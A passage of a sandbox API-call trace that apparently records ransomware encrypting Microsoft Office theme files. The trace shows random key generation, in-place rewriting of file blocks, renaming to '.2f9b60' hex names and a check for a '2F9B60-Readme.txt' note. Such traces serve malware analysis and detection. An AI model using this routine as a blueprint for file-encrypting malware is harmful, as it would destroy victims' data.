lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x33dff850, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x33dff850*=0x14e, lpOverlapped=0x0) returned 1 [0111.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0111.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7cd0) returned 1 [0111.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a7cd0 [0111.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76a0) returned 1 [0111.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd971c0 [0111.543] sprintf (in: _Dest=0x1cd971c0, _Format="%c%c" | out: _Dest="11") returned 2 [0111.543] sprintf (in: _Dest=0x1cd971c2, _Format="%c%c" | out: _Dest="81") returned 2 [0111.543] sprintf (in: _Dest=0x1cd971c4, _Format="%c%c" | out: _Dest="54") returned 2 [0111.543] sprintf (in: _Dest=0x1cd971c6, _Format="%c%c" | out: _Dest="74") returned 2 [0111.543] sprintf (in: _Dest=0x1cd971c8, _Format="%c%c" | out: _Dest="2c") returned 2 [0111.543] sprintf (in: _Dest=0x1cd971ca, _Format="%c%c" | out: _Dest="aa") returned 2 [0111.543] sprintf (in: _Dest=0x1cd971cc, _Format="%c%c" | out: _Dest="56") returned 2 [0111.543] sprintf (in: _Dest=0x1cd971ce, _Format="%c%c" | out: _Dest="1f") returned 2 [0111.543] sprintf (in: _Dest=0x1cd971d0, _Format="%c%c" | out: _Dest="fa") returned 2 [0111.543] sprintf (in: _Dest=0x1cd971d2, _Format="%c%c" | out: _Dest="e3") returned 2 [0111.543] sprintf (in: _Dest=0x1cd971d4, _Format="%c%c" | out: _Dest="9f") returned 2 [0111.543] sprintf (in: _Dest=0x1cd971d6, _Format="%c%c" | out: _Dest="a0") returned 2 [0111.543] sprintf (in: _Dest=0x1cd971d8, _Format="%c%c" | out: _Dest="d5") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971da, _Format="%c%c" | out: _Dest="a3") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971dc, _Format="%c%c" | out: _Dest="32") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971de, _Format="%c%c" | out: _Dest="0c") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971e0, _Format="%c%c" | out: _Dest="f2") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971e2, _Format="%c%c" | out: _Dest="b5") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971e4, _Format="%c%c" | out: _Dest="8f") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971e6, _Format="%c%c" | out: _Dest="71") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971e8, _Format="%c%c" | out: _Dest="07") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971ea, _Format="%c%c" | out: _Dest="cc") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971ec, _Format="%c%c" | out: _Dest="58") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971ee, _Format="%c%c" | out: _Dest="0f") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971f0, _Format="%c%c" | out: _Dest="35") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971f2, _Format="%c%c" | out: _Dest="67") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971f4, _Format="%c%c" | out: _Dest="5a") returned 2 [0111.544] sprintf (in: _Dest=0x1cd971f6, _Format="%c%c" | out: _Dest="ac") returned 2 [0111.544] RtlInitAnsiString (in: DestinationString=0x33dff8c8, SourceString="118154742caa561ffae39fa0d5a3320cf2b58f7107cc580f35675aac" | out: DestinationString="118154742caa561ffae39fa0d5a3320cf2b58f7107cc580f35675aac") [0111.544] RtlAnsiStringToUnicodeString (in: DestinationString=0x33dff898, SourceString="118154742caa561ffae39fa0d5a3320cf2b58f7107cc580f35675aac", AllocateDestinationString=1 | out: DestinationString="118154742caa561ffae39fa0d5a3320cf2b58f7107cc580f35675aac") returned 0x0 [0111.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b86a1c0 [0111.545] wcscat (in: _Dest=0x20279a30, _Source="118154742caa56" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\118154742caa56") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\118154742caa56" [0111.545] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\118154742caa56.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\118154742caa56.2f9b60" [0111.545] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\118154742caa56.2f9b60", NtPathName=0x33dff870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\118154742caa56.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776af0 [0111.545] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x33dff910, FileInformation=0x1b776af0, Length=0xd0, FileInformationClass=0xa) returned 0x0 [0111.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.548] NtQueryInformationFile (in: FileHandle=0xe04, IoStatusBlock=0x33dff8d8, FileInformation=0x33dff8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33dff8d8, FileInformation=0x33dff8e8) returned 0x0 [0111.549] NtSetInformationFile (FileHandle=0xe04, IoStatusBlock=0x33dff8d8, FileInformation=0x33dff8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.550] FlushFileBuffers (hFile=0xe04) returned 1 [0111.551] CloseHandle (hObject=0xe04) returned 1 [0111.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.552] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.552] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd653f0) returned 1 Thread: id = 1080 os_tid = 0x1774 [0111.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 0x20 [0111.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx", dwFileAttributes=0x20) returned 1 [0111.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0111.503] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x32aefa80 | out: lpFileSize=0x32aefa80*=43357) returned 1 [0111.503] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0xa959, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.503] ReadFile (in: hFile=0x160c, lpBuffer=0x32aefa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x32aefa48, lpOverlapped=0x0 | out: lpBuffer=0x32aefa00*, lpNumberOfBytesRead=0x32aefa48*=0x4, lpOverlapped=0x0) returned 1 [0111.508] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0111.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0111.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.509] NtQuerySystemTime (in: CurrentTime=0x32aef940 | out: CurrentTime=0x32aef940*=132462177169918000) returned 0x0 [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x219bc7f4 [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x2f41ac8c [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x904ec41 [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x45044011 [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x5715e0f4 [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x631f8e5a [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x77a4ffb2 [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x72b409e0 [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x292dfc5e [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x1ee52716 [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x2b9d455c [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x32e3e3db [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x2a8395c [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x3742b31a [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x372c287b [0111.509] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x6e04448d [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x77585f82 [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x68796d04 [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x16db8757 [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x469da51c [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x43b32dca [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x1666052f [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x6038c456 [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x48345bb9 [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x7e82b961 [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x69a5cee [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x43fda40b [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x1c42066 [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x502bf74b [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x75fe9d31 [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x4f1e65a3 [0111.510] RtlRandomEx (in: Seed=0x32aef930 | out: Seed=0x32aef930) returned 0x47f2396 [0111.520] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.520] ReadFile (in: hFile=0x160c, lpBuffer=0x41e8c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32aef9a0, lpOverlapped=0x0 | out: lpBuffer=0x41e8c1b0*, lpNumberOfBytesRead=0x32aef9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.523] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d30) returned 1 [0111.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e885a0 [0111.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0111.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c70) returned 1 [0111.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.524] WriteFile (in: hFile=0x160c, lpBuffer=0x41e885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32aef9a0, lpOverlapped=0x0 | out: lpBuffer=0x41e885a0*, lpNumberOfBytesWritten=0x32aef9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e885a0) returned 1 [0111.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e8c1b0) returned 1 [0111.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a7c70 [0111.528] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.528] WriteFile (in: hFile=0x160c, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x32aefa50, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x32aefa50*=0x108, lpOverlapped=0x0) returned 1 [0111.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0111.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7be0) returned 1 [0111.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0111.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0111.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7b50 [0111.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7b50) returned 1 [0111.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f070 [0111.532] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="62") returned 2 [0111.532] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="65") returned 2 [0111.532] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="8f") returned 2 [0111.532] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="28") returned 2 [0111.532] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="b4") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="93") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="1a") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="de") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="c8") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="7e") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="a8") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="2b") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="23") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="a4") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="d8") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="2c") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="6b") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="18") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="b3") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="31") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f098, _Format="%c%c" | out: _Dest="48") returned 2 [0111.533] sprintf (in: _Dest=0x1cd9f09a, _Format="%c%c" | out: _Dest="39") returned 2 [0111.533] RtlInitAnsiString (in: DestinationString=0x32aefac8, SourceString="62658f28b4931adec87ea82b23a4d82c6b18b3314839" | out: DestinationString="62658f28b4931adec87ea82b23a4d82c6b18b3314839") [0111.533] RtlAnsiStringToUnicodeString (in: DestinationString=0x32aefa98, SourceString="62658f28b4931adec87ea82b23a4d82c6b18b3314839", AllocateDestinationString=1 | out: DestinationString="62658f28b4931adec87ea82b23a4d82c6b18b3314839") returned 0x0 [0111.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced9860 [0111.534] wcscat (in: _Dest=0x20279a30, _Source="62658f28b49" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\62658f28b49") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\62658f28b49" [0111.534] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\62658f28b49.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\62658f28b49.2f9b60" [0111.534] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\62658f28b49.2f9b60", NtPathName=0x32aefa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\62658f28b49.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776af0 [0111.534] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x32aefb10, FileInformation=0x1b776af0, Length=0xca, FileInformationClass=0xa) returned 0x0 [0111.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.536] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x32aefad8, FileInformation=0x32aefae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x32aefad8, FileInformation=0x32aefae8) returned 0x0 [0111.536] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x32aefad8, FileInformation=0x32aefae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0111.537] FlushFileBuffers (hFile=0x160c) returned 1 [0111.540] CloseHandle (hObject=0x160c) returned 1 [0111.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.541] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.541] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65340) returned 1 Thread: id = 1081 os_tid = 0x1770 [0111.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 0x20 [0111.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx", dwFileAttributes=0x20) returned 1 [0111.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe04 [0111.560] GetFileSizeEx (in: hFile=0xe04, lpFileSize=0x33c5fc40 | out: lpFileSize=0x33c5fc40*=24117) returned 1 [0111.560] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x5e31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.560] ReadFile (in: hFile=0xe04, lpBuffer=0x33c5fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33c5fc08, lpOverlapped=0x0 | out: lpBuffer=0x33c5fbc0*, lpNumberOfBytesRead=0x33c5fc08*=0x4, lpOverlapped=0x0) returned 1 [0111.565] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0111.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0111.566] NtQuerySystemTime (in: CurrentTime=0x33c5fb00 | out: CurrentTime=0x33c5fb00*=132462177170386000) returned 0x0 [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x68ebad85 [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x45179446 [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x25b4248b [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x4c429034 [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x3595de [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x2776556d [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x6a32f14f [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x58ce4c37 [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x72c6dfbb [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x59556df8 [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x22a069dd [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x2f0f7f37 [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x1c13de61 [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x5563f977 [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x5b22a4b [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x1e336b5c [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x25b37e88 [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x692b9868 [0111.566] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x5bd4561 [0111.567] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x46dc7e02 [0111.567] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x591cb417 [0111.567] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x73ce4dea [0111.567] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x6f574df3 [0111.567] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x116ff2e8 [0111.567] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x65ed8f56 [0111.567] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x14f74ca4 [0111.567] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x339a89d9 [0111.567] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x5da76330 [0111.567] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x795ea558 [0111.567] RtlRandomEx (in: Seed=0x33c5faf0 | out: Seed=0x33c5faf0) returned 0x3f86fc30 [0111.567] 